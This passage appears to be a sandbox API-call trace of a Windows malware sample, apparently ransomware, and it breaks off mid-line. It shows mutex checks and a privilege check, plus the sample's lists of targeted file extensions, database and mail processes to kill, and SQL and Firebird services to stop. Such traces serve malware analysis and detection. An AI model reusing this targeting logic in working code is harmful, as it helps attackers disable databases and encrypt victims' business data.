(hModule=0x73d30000, lpProcName="SystemTimeToFileTime") returned 0x73d467a0 [0188.973] GetProcAddress (hModule=0x73d30000, lpProcName="GetLastError") returned 0x73d45010 [0188.973] GetProcAddress (hModule=0x73d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x73d7edc0 [0188.973] GetProcAddress (hModule=0x73d30000, lpProcName="Process32NextW") returned 0x73d7f8f0 [0188.973] GetProcAddress (hModule=0x73d30000, lpProcName="Process32FirstW") returned 0x73d7f750 [0188.973] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74b00000 [0189.314] GetProcAddress (hModule=0x74b00000, lpProcName="RegOpenKeyExW") returned 0x74b1e580 [0189.316] GetProcAddress (hModule=0x74b00000, lpProcName="RegQueryValueExW") returned 0x74b1e5a0 [0189.316] GetProcAddress (hModule=0x74b00000, lpProcName="RegSetValueExW") returned 0x74b1f530 [0189.316] GetProcAddress (hModule=0x74b00000, lpProcName="RegCloseKey") returned 0x74b1ed60 [0189.316] GetProcAddress (hModule=0x74b00000, lpProcName="OpenProcessToken") returned 0x74b1efb0 [0189.316] GetProcAddress (hModule=0x74b00000, lpProcName="GetTokenInformation") returned 0x74b1ee90 [0189.316] GetProcAddress (hModule=0x74b00000, lpProcName="OpenSCManagerW") returned 0x74b20540 [0189.316] GetProcAddress (hModule=0x74b00000, lpProcName="OpenServiceW") returned 0x74b1fa20 [0189.316] GetProcAddress (hModule=0x74b00000, lpProcName="CloseServiceHandle") returned 0x74b1fc00 [0189.316] GetProcAddress (hModule=0x74b00000, lpProcName="ControlService") returned 0x74b326d0 [0189.316] GetProcAddress (hModule=0x74b00000, lpProcName="QueryServiceStatus") returned 0x74b22380 [0189.317] GetProcAddress (hModule=0x74b00000, lpProcName="EnumDependentServicesW") returned 0x74b32f70 [0189.317] GetProcAddress (hModule=0x74b00000, lpProcName="EnumServicesStatusExW") returned 0x74b1fc80 [0189.317] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74860000 [0189.863] GetProcAddress (hModule=0x74860000, lpProcName="SystemParametersInfoW") returned 0x7488f210 [0189.863] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75b60000 [0189.899] GetProcAddress (hModule=0x75b60000, lpProcName="ShellExecuteExW") returned 0x75cc4730 [0189.899] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77110000 [0189.900] GetProcAddress (hModule=0x77110000, lpProcName="NtQuerySystemInformation") returned 0x77182070 [0189.900] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73b10000 [0190.008] GetProcAddress (hModule=0x73b10000, lpProcName="WNetCloseEnum") returned 0x73b12640 [0190.008] GetProcAddress (hModule=0x73b10000, lpProcName="WNetOpenEnumW") returned 0x73b12790 [0190.008] GetProcAddress (hModule=0x73b10000, lpProcName="WNetEnumResourceW") returned 0x73b12410 [0190.008] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x74270000 [0190.011] GetProcAddress (hModule=0x74270000, lpProcName="WSAStartup") returned 0x74275b40 [0190.011] GetProcAddress (hModule=0x74270000, lpProcName="socket") returned 0x74284510 [0190.011] GetProcAddress (hModule=0x74270000, lpProcName="send") returned 0x74275030 [0190.011] GetProcAddress (hModule=0x74270000, lpProcName="recv") returned 0x74280c50 [0190.011] GetProcAddress (hModule=0x74270000, lpProcName="connect") returned 0x74275410 [0190.011] GetProcAddress (hModule=0x74270000, lpProcName="closesocket") returned 0x74280910 [0190.011] GetProcAddress (hModule=0x74270000, lpProcName="gethostbyname") returned 0x742a6cb0 [0190.012] GetProcAddress (hModule=0x74270000, lpProcName="inet_addr") returned 0x74289160 [0190.012] GetProcAddress (hModule=0x74270000, lpProcName="ntohl") returned 0x742749d0 [0190.012] GetProcAddress (hModule=0x74270000, lpProcName="htonl") returned 0x742749d0 [0190.012] GetProcAddress (hModule=0x74270000, lpProcName="htons") returned 0x74288ff0 [0190.012] GetProcessHeap () returned 0x660000 [0190.012] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x66b038 [0190.012] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=9407469991) returned 1 [0190.012] GetTickCount () returned 0x11417cf [0190.012] GetCurrentProcessId () returned 0xfa8 [0190.014] GetTickCount () returned 0x11417cf [0190.014] GetTickCount () returned 0x11417cf [0190.014] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x66b060 [0190.014] GetVersion () returned 0x23f00206 [0190.014] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7) returned 0x676ff8 [0190.014] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x678028 [0190.014] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x678028, Size=0x20) returned 0x66b128 [0190.014] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x66b128, Size=0x40) returned 0x677a30 [0190.014] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x67d7e8 [0190.014] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_QVW9W0A") returned 0x1ec [0190.015] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x676ff8 | out: hHeap=0x660000) returned 1 [0190.015] lstrlenW (lpString="Global\\syncronize_") returned 18 [0190.015] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x677a30 | out: hHeap=0x660000) returned 1 [0190.015] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7) returned 0x677058 [0190.015] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x678178 [0190.015] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x678178, Size=0x20) returned 0x66b128 [0190.015] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x66b128, Size=0x40) returned 0x677c70 [0190.015] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x68d7f0 [0190.015] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_QVW9W0U") returned 0x1f0 [0190.015] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x677058 | out: hHeap=0x660000) returned 1 [0190.015] lstrlenW (lpString="Global\\syncronize_") returned 18 [0190.015] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x677c70 | out: hHeap=0x660000) returned 1 [0190.015] GetVersion () returned 0x23f00206 [0190.015] GetCurrentProcess () returned 0xffffffff [0190.015] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0190.015] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0190.015] CloseHandle (hObject=0x1f4) returned 1 [0190.015] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0190.015] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x3e8) returned 0x0 [0190.015] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x14) returned 0x676578 [0190.016] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6780b8 [0190.016] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6780b8, Size=0x20) returned 0x66b128 [0190.016] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x66b128, Size=0x40) returned 0x677c28 [0190.016] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677c28, Size=0x80) returned 0x667128 [0190.016] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x667128, Size=0x100) returned 0x677eb0 [0190.016] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x34) returned 0x67a3f8 [0190.016] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x676ff8 [0190.016] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x677088 [0190.016] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x677058 [0190.016] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x678028 [0190.016] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x676f18 [0190.016] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6780e8 [0190.016] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x676f18, Size=0x8) returned 0x677078 [0190.016] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6780a0 [0190.016] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677078, Size=0x10) returned 0x678178 [0190.016] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6781a8 [0190.016] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6781c0 [0190.016] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x678178, Size=0x20) returned 0x66b128 [0190.016] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x678088 [0190.016] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x678070 [0190.016] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x676ff8, Size=0x8) returned 0x677078 [0190.016] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677088, Size=0x8) returned 0x677098 [0190.016] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x676f18 [0190.016] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6780b8 [0190.016] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x676ff8 [0190.016] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x678178 [0190.016] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x676ff8, Size=0x8) returned 0x676ed8 [0190.016] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x678340 [0190.016] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x676ed8, Size=0x10) returned 0x678358 [0190.016] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x678370 [0190.016] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x677088 [0190.016] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x678358, Size=0x20) returned 0x69df58 [0190.016] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677078, Size=0x10) returned 0x678358 [0190.016] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677098, Size=0x10) returned 0x678388 [0190.016] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x677098 [0190.016] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6783a0 [0190.017] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x676ff8 [0190.017] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x678310 [0190.017] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x676ff8, Size=0x8) returned 0x677078 [0190.017] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x676ff8 [0190.017] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6783b8 [0190.017] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x676ed8 [0190.017] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6783d0 [0190.017] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x676ed8, Size=0x8) returned 0x69e1e0 [0190.017] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x678358, Size=0x20) returned 0x69df80 [0190.017] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x678388, Size=0x20) returned 0x69de68 [0190.017] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69e050 [0190.017] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x678328 [0190.017] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x69e210 [0190.017] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x678358 [0190.017] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e210, Size=0x8) returned 0x69e140 [0190.017] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x14) returned 0x6764f8 [0190.017] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x14) returned 0x676278 [0190.017] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0190.017] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x677eb0 | out: hHeap=0x660000) returned 1 [0190.017] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0190.020] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x678388 [0190.020] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x678388, Size=0x20) returned 0x69df30 [0190.020] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69df30, Size=0x40) returned 0x677958 [0190.020] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677958, Size=0x80) returned 0x677f18 [0190.020] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677f18, Size=0x100) returned 0x6783e8 [0190.020] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x678388 [0190.020] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x678388, Size=0x20) returned 0x69de90 [0190.021] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69de90, Size=0x40) returned 0x677b98 [0190.021] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677b98, Size=0x80) returned 0x677f18 [0190.021] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677f18, Size=0x100) returned 0x6a2af8 [0190.021] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x678388 [0190.021] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x69e090 [0190.021] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2d38 [0190.021] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e090, Size=0x8) returned 0x69e0b0 [0190.021] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x14) returned 0x676398 [0190.021] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e0b0, Size=0x10) returned 0x6a2cc0 [0190.021] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x18) returned 0x676358 [0190.021] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1a) returned 0x69ddf0 [0190.021] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2cc0, Size=0x20) returned 0x69df30 [0190.021] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c) returned 0x69dd78 [0190.021] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x16) returned 0x676298 [0190.021] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1a) returned 0x69deb8 [0190.021] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6a2c30 [0190.021] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x69e080 [0190.021] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x677910 [0190.021] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e080, Size=0x8) returned 0x69e090 [0190.021] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x3c) returned 0x6779e8 [0190.021] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e090, Size=0x10) returned 0x6a2d50 [0190.021] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x14) returned 0x6762d8 [0190.021] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x18) returned 0x6764b8 [0190.021] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2d50, Size=0x20) returned 0x69df08 [0190.021] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x24) returned 0x676b18 [0190.021] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0190.021] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6783e8 | out: hHeap=0x660000) returned 1 [0190.021] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0190.021] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a2af8 | out: hHeap=0x660000) returned 1 [0190.022] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69dfa8 [0190.024] EnumServicesStatusExW (in: hSCManager=0x69dfa8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0190.025] GetLastError () returned 0xea [0190.025] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1bc4) returned 0x6a4d50 [0190.025] EnumServicesStatusExW (in: hSCManager=0x69dfa8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6a4d50, cbBufSize=0x1bc4, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6a4d50, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0190.027] CloseServiceHandle (hSCObject=0x69dfa8) returned 1 [0190.028] lstrlenW (lpString="Appinfo") returned 7 [0190.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0190.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0190.030] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0190.030] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0190.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0190.030] lstrlenW (lpString="AppXSvc") returned 7 [0190.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0190.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0190.030] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0190.030] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0190.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0190.030] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0190.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0190.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0190.030] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0190.030] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0190.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0190.030] lstrlenW (lpString="Audiosrv") returned 8 [0190.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0190.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0190.030] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0190.030] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0190.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0190.030] lstrlenW (lpString="BFE") returned 3 [0190.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0190.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0190.030] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0190.030] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0190.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0190.030] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0190.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0190.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0190.030] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0190.030] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0190.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0190.030] lstrlenW (lpString="CDPSvc") returned 6 [0190.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0190.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0190.031] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0190.031] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0190.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0190.031] lstrlenW (lpString="ClickToRunSvc") returned 13 [0190.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0190.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0190.031] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0190.031] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0190.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0190.031] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0190.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0190.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0190.031] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0190.031] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0190.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0190.031] lstrlenW (lpString="CryptSvc") returned 8 [0190.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0190.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0190.031] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0190.031] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0190.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0190.031] lstrlenW (lpString="DcomLaunch") returned 10 [0190.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0190.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0190.031] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0190.031] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0190.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0190.031] lstrlenW (lpString="DeviceAssociationService") returned 24 [0190.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0190.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0190.031] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0190.031] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0190.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0190.031] lstrlenW (lpString="Dhcp") returned 4 [0190.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0190.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0190.032] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0190.032] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0190.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0190.032] lstrlenW (lpString="Dnscache") returned 8 [0190.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0190.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0190.032] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0190.032] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0190.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0190.032] lstrlenW (lpString="DPS") returned 3 [0190.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0190.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0190.032] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0190.032] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0190.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0190.032] lstrlenW (lpString="DusmSvc") returned 7 [0190.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0190.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0190.032] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0190.032] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0190.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0190.032] lstrlenW (lpString="EventLog") returned 8 [0190.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0190.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0190.032] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0190.032] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0190.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0190.032] lstrlenW (lpString="EventSystem") returned 11 [0190.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0190.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0190.032] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0190.032] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0190.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0190.032] lstrlenW (lpString="FontCache") returned 9 [0190.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0190.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0190.032] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0190.033] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0190.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0190.033] lstrlenW (lpString="gpsvc") returned 5 [0190.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0190.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0190.033] lstrcmpiW 